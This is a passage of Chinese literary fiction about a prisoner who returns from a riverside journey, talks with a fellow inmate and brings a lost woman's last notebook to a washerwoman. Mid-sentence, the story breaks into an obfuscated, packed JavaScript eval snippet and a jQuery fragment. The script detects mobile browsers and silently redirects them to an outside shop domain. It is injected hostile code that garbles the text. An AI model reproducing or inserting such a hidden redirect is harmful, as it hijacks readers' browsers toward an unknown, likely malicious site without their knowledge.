他沿着河岸走了半夜，月亮升起来之后路被照得清楚了一些。他没有点灯，借着月光走。水声在他旁边持续响着，断断续续的，像是一个没有完全闭合的话头，每隔一段就重复一次相同的节奏。走到小镇边缘的时候，他在路边一块平石上坐下来，把脚上的泥蹭掉，裤腿拧了拧水。风从河面上吹过来，带着凉意，但比夜晚最冷的时候已经暖了一些，像是地气在夜间缓慢地往上渗。空气里有湿润的土腥味，像是河岸上的草在夜间呼吸。他坐了一会儿，把水袋取下来喝了一口，水是凉的，顺着喉咙下去之后在胃里停了一下才继续散开。他把水袋重新系好，站起来继续走。
天亮之前他回到了牢房。排水渠入口还是他离开时的样子，铁栅栏上的泥土已经干透了，边缘覆盖着一层干裂的泥皮。他侧身钻过栅栏，沿着排水渠走回砖块下方，顶开砖块翻了上来，把砖块扣回原位。走廊里只有火把烧着，灰制服还没开始巡夜，整条走廊安静得只剩火苗的跳动声。他在墙角坐下来，靠着墙缓了一会儿。肌肉是酸的，脚底有泡，他脱了鞋看了一下，脚掌上有两处发红，还没破。他把脚放回地上，靠着墙慢慢呼了一口气，感觉到后背贴着墙面的凉意一点一点地透过衣料渗进来。
他把那本薄册子从怀里掏出来放在膝盖上。封皮被他的体温焐得微温，纸页边缘卷曲，像是跟着他一路走回来，已经被他身体的气味浸透了。他在黑暗里坐着，用指腹沿着封皮的边缘走了一圈，摸到那处翻折的痕迹。他没有点油灯，也没有翻开来，只是把手掌平放在封面上，让那本册子隔着纸页压着他的掌心。过了一会儿他把它拿起来放在膝盖旁边。
瓦伦的声音从隔壁传过来，比平时轻一些，像是刚从睡意里浮上来。"你回来了。"陈默说："回来了。"瓦伦没有立刻接话，像是等他把话说完。陈默补了一句："我走到尽头了。"他在黑暗里坐直了一些，声音不大，但在火把的微光里显得很清楚。"她走到的那个地方，我也走到了。一棵老树，山坡上，能看到河。她在那棵树下坐了很久，然后没有继续走。"他停了一下，又继续说："她在册子里写了那棵树的树冠很大，枝干低垂，她说她在树下面坐了很久。那不是一句描述，是她做了那个动作。她停下来坐着，没有再往前走了。"
瓦伦沉默了一会儿。"你心里有数了。"陈默说："有数了。"他把手伸进口袋，摸到了那粒种子，又摸到了那枚金属扣。他握了一下那粒种子，把它放在手心里。黑暗里看不见，但他能感觉到它的轮廓——圆形、光滑、边缘有一道极浅的棱线，像是干透之后留下的收缩痕。过了一会儿他说："她在那棵树下坐了很久之后，把最后一本册子放在河边。之后她就没有再留下记录了。"
瓦伦说："那你呢？你走到那个地方，然后做了什么？"陈默说："我把一粒种子放在树根旁边了。小时候她也在那棵树上坐过。她从树上下来之后画了一幅画。"瓦伦没有说话。走廊里火把烧着，光从铁栏缝里漏进来，在对面墙上落下一道窄窄的亮条。过了一会儿瓦伦的声音又传过来，比刚才平一些。"你以后还去吗？"陈默在黑暗里握着那粒种子，坐了很久，然后说："还有一条岔路没走完。岔口有两边，她选了右边，右边通往那棵老树。左边有一条路，光不一样，是暗红色的。我没走。"瓦伦说："那你可能会去。"陈默没有回答。
天亮之后灰制服来送了一趟饭，把碗放在铁栏外面。陈默接过来，粥是温的。他慢慢喝完，把碗放回原处。灰制服没有走，站在走廊里说："联络人问你去哪了。"陈默说："出去走了走。河边。"灰制服看了他一眼，没有追问，转身走了。脚步声沿着走廊远去，火把的光在他走后微微晃了一下，又重新稳住。
他在墙角坐着，把那粒种子从口袋里掏出来放在掌心里。阳光下它比在油灯下看着更小一些，表面有一层极细的纹路，像是干透之后收缩留下的。外壳的颜色比之前深了一些，像是被他反复握过之后，表层吸收了手掌的温度和油脂，慢慢变得暗沉发亮。他把种子翻了个面，背面的划痕还清晰可见——那道浅浅的纵向纹路，在光线下显出更深的色泽，像是被什么液体浸过之后干透了。他想了一会儿，又把它放回口袋里，拿起那本册子，翻开第一页，看了一遍那行字。他把那句"我已经走完了"又读了一遍，然后合上书，把它放回外套内袋里，贴着胸口的布料放着。他站起来，沿着走廊走到铁栏前，朝灰制服的方向看了一眼，然后转身沿着走廊走到洗衣妇那条街的方向。
门开着。她坐在门口，手里拿着一把菜在择，叶子在她手指间翻动，择好的放在旁边的笸箩里。晨光从屋檐的斜角漏下来，落在她面前的地面上，落在她手边那一小堆还带着露水的菜叶上。她看到他走过来的时候，择菜的动作停了一下，然后继续，但速度慢了。他没有开口，在门口站住了。他站在她面前大约一步远的地方，从口袋里掏出那本薄册子，放在门边的木台上。她看了一眼那本册子，没有拿起来。他说："她留下的最后一本。"她低着头，目光落在册子上，过了一会儿才开口："你从哪找到的？"他说："河边，一个镇上，有人替她收着。"她没有伸手去拿那本册子，只是低着头看了一会儿，手指在围裙上蹭了两下，又放下来垂在身侧。她问他册子里写了什么。他说写了她在岔口住了几天，画了一张图，后来走到一棵老树下面，在那里坐了很久。
她低着头，目光落在那本册子上，过了好一会儿才开口说："那棵老树，她小时候去过。有一年夏天我带她去河上游玩，她爬树，坐在最矮的那根枝干上坐了一下午。她说那棵树很稳。回来之后她画了一张画，画的就是那棵树。"她停了一下，抬起眼睛看着他，说："她后来还去过几次，都是一个人去的。"陈默说："我在那棵树的树根旁边放了一粒种子。那是她在河边收集过的同一种。"她没有接话，只是看着他，然后又垂下眼睛，落到那本册子上。她说："她小时候说，种子会在河里漂很远。她想知道它们能漂到哪里去。"她说完这句话，抬眼看了看远处河面的反光，扶着门框的手指慢慢松开，垂落在身侧。她沉默了一阵，对他说："你留着自己看吧。"他站在门口，看着她的眼睛，然后点了点头。他把册子收回去，没有再看她，沿着街道往回走。拐弯的时候他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825180|211227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回了下头，她还站在门口，一只手扶着门框，另一只手垂在身侧，她没有动，像是一幅还在慢慢干透的画，还没有完全定型成它最终的模样。他转回头继续往前走，没有停步。
他回到牢房的时候，走廊里灰制服的脚步声正在走动。墙角的那堆东西还摆着——扳手、油灯、旧刀、金属扣、那盏底部刻着字母"m"的旧油灯。他坐下来，把册子放在它们旁边。他伸手把那盏旧油灯拿过来放在膝上，拧开灯罩看了一眼。灯芯已经全部烧完了，只剩一层焦黑的痕迹附着在灯芯槽底部，但灯芯槽本身没有堵塞。他把灯罩放回去，把灯放回原处，然后伸手把那枚金属扣拿出来在桌上转了一圈，看了看它边缘的磨损。磨损的痕迹不均匀，一边比另一边更浅，像是长期被握在同一只手里、朝着同一个方向施力形成的。他把金属扣翻过来看背面的编号，对着光又看了一遍那串数字，确认了数字的排列顺序。然后把它放回口袋。
傍晚的光从窗洞里斜进来，铁栏的影子落在地面上，拉出一道一道细长的深色条纹。他把那本册子翻开，翻到那页被撕掉的页码，看到靠近装订线处还剩一小条纸根，没有撕干净。纸根边缘参差不齐，露出内侧的纤维层，像是被匆忙撕扯时留下的。他用指尖沿着纸根走了一遍，指甲刮到纸根表面的时候，感觉到轻微的凹凸不平，像是纸根下方还粘连着一层极薄的纸页余片。他用指甲轻轻挑了一下，那层余片翘起来一角，他捏住它翻开，看到上面残留着笔迹的一部分——几个字母的尾部，其中有一个像是"h"，像是某个词被撕掉之后留住的最后一截。他又看了一遍那几个笔画的走向和间距，把它们的位置在脑中记了下来。他没有继续猜那可能是什么词，只是记住了它们的存在和相对位置，然后合上册子。
夜色从天窗和铁栏的缝隙里渗进来。他坐了一会儿，把那粒种子从口袋里拿出来，放在掌心里看了一会儿，然后放回口袋，靠在墙上。远处的水声持续传过来，稳定而均匀，像是一条河正在夜色中流过某个固定的位置，那个位置在地图上没有标注，但它的声音已经被他记住了。他想起那棵老树，又想起了那条没有走的岔路，暗红色的光，那扇窗外的水层。他闭了一会儿眼，水声持续地响着，和着他的呼吸一进一出地起伏，像是他的呼吸已经和水声合在了一个节奏上，慢慢地融在一起。他伸手碰了碰那根钉子的尖端，钉子没有生锈，凹痕里仍是空的，只剩下空气本身残存的温度。他没有把那根钉子拔出来，只是把它在指腹里转了一圈，然后松开手，垂下手臂，安静地坐在墙角的暗处里，让夜里的风从铁栏缝隙间穿过。
他知道那条岔路还在那里。它在他走回来的路上拐弯的位置，在他还没有踏入过的那一段通道的尽头。暗红色的光在黑暗中等着他。他会去的。但不是今晚。
他躺在墙角的暗处里，水声在他意识中逐渐退远，像是退到了一层更远的水面之后，变成了一种持续但不占据注意力的背景音。他在那层背景音里慢慢沉了下去，落进了一整段没有梦也没有中断的睡眠里，像一截沉入静水的石头在穿过水层、滑过深色水流的过程中缓缓停驻在了水底。